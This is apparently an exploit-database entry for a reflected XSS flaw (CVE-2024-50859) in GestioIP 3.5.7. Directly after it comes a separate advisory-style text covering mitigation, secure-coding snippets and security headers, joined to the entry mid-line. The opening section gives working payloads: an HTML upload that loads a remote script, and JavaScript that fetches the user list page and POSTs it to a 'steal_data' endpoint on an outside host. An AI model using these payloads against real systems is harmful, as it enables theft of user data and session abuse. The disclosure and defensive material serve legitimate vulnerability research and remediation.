GestioIP 3.5.7 - Reflected Cross-Site Scripting (Reflected XSS)
# Exploit Title: GestioIP 3.5.7 - Reflected Cross-Site Scripting (Reflected XSS)
# Exploit Author: m4xth0r (Maximiliano Belino)
# Author website: https://maxibelino.github.io/
# Author email (max.cybersecurity at belino.com)
# GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50859
# Date: 2025-01-13
# Vendor Homepage: https://www.gestioip.net/
# Software Link: https://www.gestioip.net/en/download/
# Version: GestioIP v3.5.7
# Tested on: Kali Linux
# CVE: CVE-2024-50859
### Description
The ip_import_acl_csv request is vulnerable to Reflected XSS (Reflected Cross-Site Scripting); the user can upload a file and the file content is reflected in the HTML response without being sanitized. If the file uploaded by the user has an incorrect format and an error occurs during its processing, part of the file's content may be displayed in the browser. If this content includes HTML or scripts and it is not properly escaped, the browser could interpret it, leading to a security vulnerability. This could allow data exfiltration and enabling CSRF (Cross-Site Request Forgery) attacks.
Proper input validation and output encoding are critical to prevent this vulnerability.
### Prerequisites
Enable (set to 'yes') the parameter:
Manage > Manage GestioIP > ACL connection management
### Usage
Select: import/export > Import ACLs/ACL Connections
Select: "Connection List"
Select "report only"
Browse to select the file you want to upload.
Click 'upload'
### Payloads
#### 1) html file to upload
<html><script src="http://10.20.0.1:8090/refxss_exfiltrate_3.js"></script></html>
#### 2) js file to exfiltrate data
var req1 = new XMLHttpRequest();
req1.open('GET',"http://localhost/gestioip/res/ip_show_user.cgi", false);
req1.send();
response = req1.responseText;
var req2 = new XMLHttpRequest();
req2.open('POST', "http://10.20.0.1:8000/steal_data", false);
req2.setRequestHeader('Content-Type', 'text/html');
req2.send(response); GestioIP 3.5.7 — Reflected Cross‑Site Scripting (Reflected XSS) (CVE‑2024‑50859)
Summary
GestioIP version 3.5.7 contains a reflected Cross‑Site Scripting (XSS) vulnerability (CVE‑2024‑50859) in the ACL import handling flow. The application reflects parts of uploaded file content into a response page without sufficient output encoding. If untrusted content is rendered as HTML, an attacker controlling uploaded data could cause a victim's browser to execute scripts, leading to session theft, data disclosure, or chained CSRF-like actions.
| Item | Details |
|---|---|
| Vulnerability | Reflected Cross‑Site Scripting (XSS) |
| Product | GestioIP |
| Version | 3.5.7 (reported) |
| CVE | CVE‑2024‑50859 |
| Exploitability | Requires file upload and a victim viewing the reflected response |
Technical background
Reflected XSS arises when an application takes untrusted input and includes it in an HTML response without properly encoding or sanitizing it. File upload endpoints are a common vector: if the server validates structure but then displays parts of the uploaded file as an error or report, that reflected content must be treated as untrusted and encoded for the HTML context where it is inserted.
Why this matters
- Browsers will execute script content if it is rendered unescaped inside HTML pages.
- An attacker who can induce a user to view a crafted response can run JavaScript in the victim’s session and access cookies, DOM data, or perform actions on the victim's behalf (depending on the application).
- Even when the uploader cannot directly visit the page, social engineering or CSRF-style redirection can be used to entice victims to open crafted links.
High‑level attack scenarios (non‑actionable)
- An attacker prepares a specifically constructed upload that triggers an error display including parts of the uploaded content.
- A victim (administrator) is tricked into visiting the page that reflects that content; the victim's browser executes injected script code with the victim's privileges.
- Consequences include theft of session tokens, exposure of restricted pages, or performing privileged actions via the victim's session.
Safe testing and responsible disclosure
- Only assess systems you own or for which you have explicit authorization. Unauthorized testing or exploitation is illegal and unethical.
- Follow coordinated disclosure: contact the vendor and provide reproduction steps, logs, and remediation suggestions. Share CVE references where appropriate.
- Check vendor advisories and apply official patches promptly.
Detection and hardening (practical guidance)
- Review endpoints that reflect user data (including file upload error pages) and ensure output encoding for the exact HTML context (element, attribute, JS string, URL).
- Place file upload handling out of the document root and avoid reflecting raw file contents into pages. If reporting file content is necessary, ensure encoding or use a safe representation (e.g., hex, sanitized text with escaping).
- Use automated scanners that look for reflected input in responses; augment with manual review of file import/error handlers.
- Set security headers: Content‑Security‑Policy (restrict script sources), X‑Content‑Type‑Options: nosniff, and appropriate cookie flags (Secure, HttpOnly, SameSite).
Mitigation and remediation checklist
- Apply vendor patch or upgrade to a secure GestioIP release if available.
- Disable or restrict ACL import features for untrusted users if not required.
- Server‑side validation of uploaded files: enforce whitelist of allowed types, inspect MIME content via file signature (magic bytes), and limit file size.
- Never directly render raw uploaded content; always escape user data before inclusion in HTML pages.
- Store uploaded files outside of the web root and serve them through a controlled handler that enforces content type and sanitization.
- Implement a strict Content‑Security‑Policy to reduce impact of injected scripts.
Secure coding examples
Below are defensive examples that demonstrate how to safely handle and display user‑supplied content. These snippets are focused on encoding and safe upload handling rather than attack payloads.
PHP — escaping before output
<?php
// Suppose $file_preview contains content excerpted from an uploaded file.
// Always escape for HTML context before rendering:
echo '<pre>' . htmlspecialchars($file_preview, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') . '</pre>';
?>Explanation: htmlspecialchars() converts special characters (<, >, &, quotes) into HTML entities so the browser renders them as text instead of interpreting them as markup. ENT_SUBSTITUTE avoids invalid UTF‑8 problems. Use the correct character encoding (UTF‑8) consistently.
PHP — safe file upload handling (basic outline)
<?php
use finfo;
// Validate MIME type by content, not only extension:
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['file']['tmp_name']);
// Allow only specific, expected types
$allowed = ['text/plain', 'text/csv'];
if (!in_array($mime, $allowed, true)) {
http_response_code(400);
echo 'Unsupported file type';
exit;
}
// Use a secure destination outside of the web root
$destDir = '/var/lib/gestioip/uploads/';
$filename = bin2hex(random_bytes(12)) . '.dat';
move_uploaded_file($_FILES['file']['tmp_name'], $destDir . $filename);
// When producing a report, never include raw file bytes in HTML;
// if showing an excerpt, escape it first (see previous example).
?>Explanation: This snippet validates file content MIME type using finfo, allows only a whitelist, stores files outside the web root, and recommends escaping any data that is later displayed. Randomizing stored filenames avoids path and name based attacks.
Python/Flask — safely returning a textual preview
from flask import Flask, escape, request, abort
from werkzeug.utils import secure_filename
app = Flask(__name__)
ALLOWED = {'txt', 'csv'}
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED
@app.route('/upload', methods=['POST'])
def upload():
f = request.files.get('file')
if not f or not allowed_file(f.filename):
abort(400)
filename = secure_filename(f.filename)
data = f.read(2048) # read a limited preview
# Escape before rendering in HTML
return '<pre>{}</pre>'.format(escape(data.decode('utf-8', 'replace')))Explanation: secure_filename prevents dangerous filenames. The handler reads a bounded preview and uses Flask's escape() to HTML‑encode the content before embedding it into the response. Reading only a small preview reduces risk of leaking large content.
Recommended HTTP security headers
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none';
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer-when-downgrade
Set-Cookie: session=...; HttpOnly; Secure; SameSite=StrictExplanation: These headers reduce the ability of injected scripts to run or to exfiltrate data. CSP restricts permitted script sources; nosniff avoids MIME‑type confusion. Cookie flags limit cookie access from scripts and cross‑site requests.
Detection guidance for defenders
- Search server code for patterns that read uploaded file contents and directly echo them into templates without encoding.
- Instrument application logging to detect unusual file upload payloads or submits that include characters like < and > in user input.
- Use dynamic application security testing (DAST) in a safe, authorized environment to check whether file upload responses reflect input.
- Monitor web logs for suspicious inbound POSTs to import endpoints and anomalous referer patterns or user agents.
Post‑discovery actions
- If you find this issue in your deployment: immediately restrict access to the affected import functionality to trusted administrators and apply input validation/escaping patches.
- Coordinate disclosure with the vendor and apply the official fix. If there is no patch, implement temporary mitigations (restrict feature, harden upload checks, deploy CSP).
- Rotate sensitive credentials and invalidate sessions if you suspect compromise from this vector.
References & further reading
- Vendor: GestioIP — https://www.gestioip.net/ (check for advisories and updates)
- CVE entry: CVE‑2024‑50859
- OWASP: Cross Site Scripting (XSS) — guidance on prevention and encoding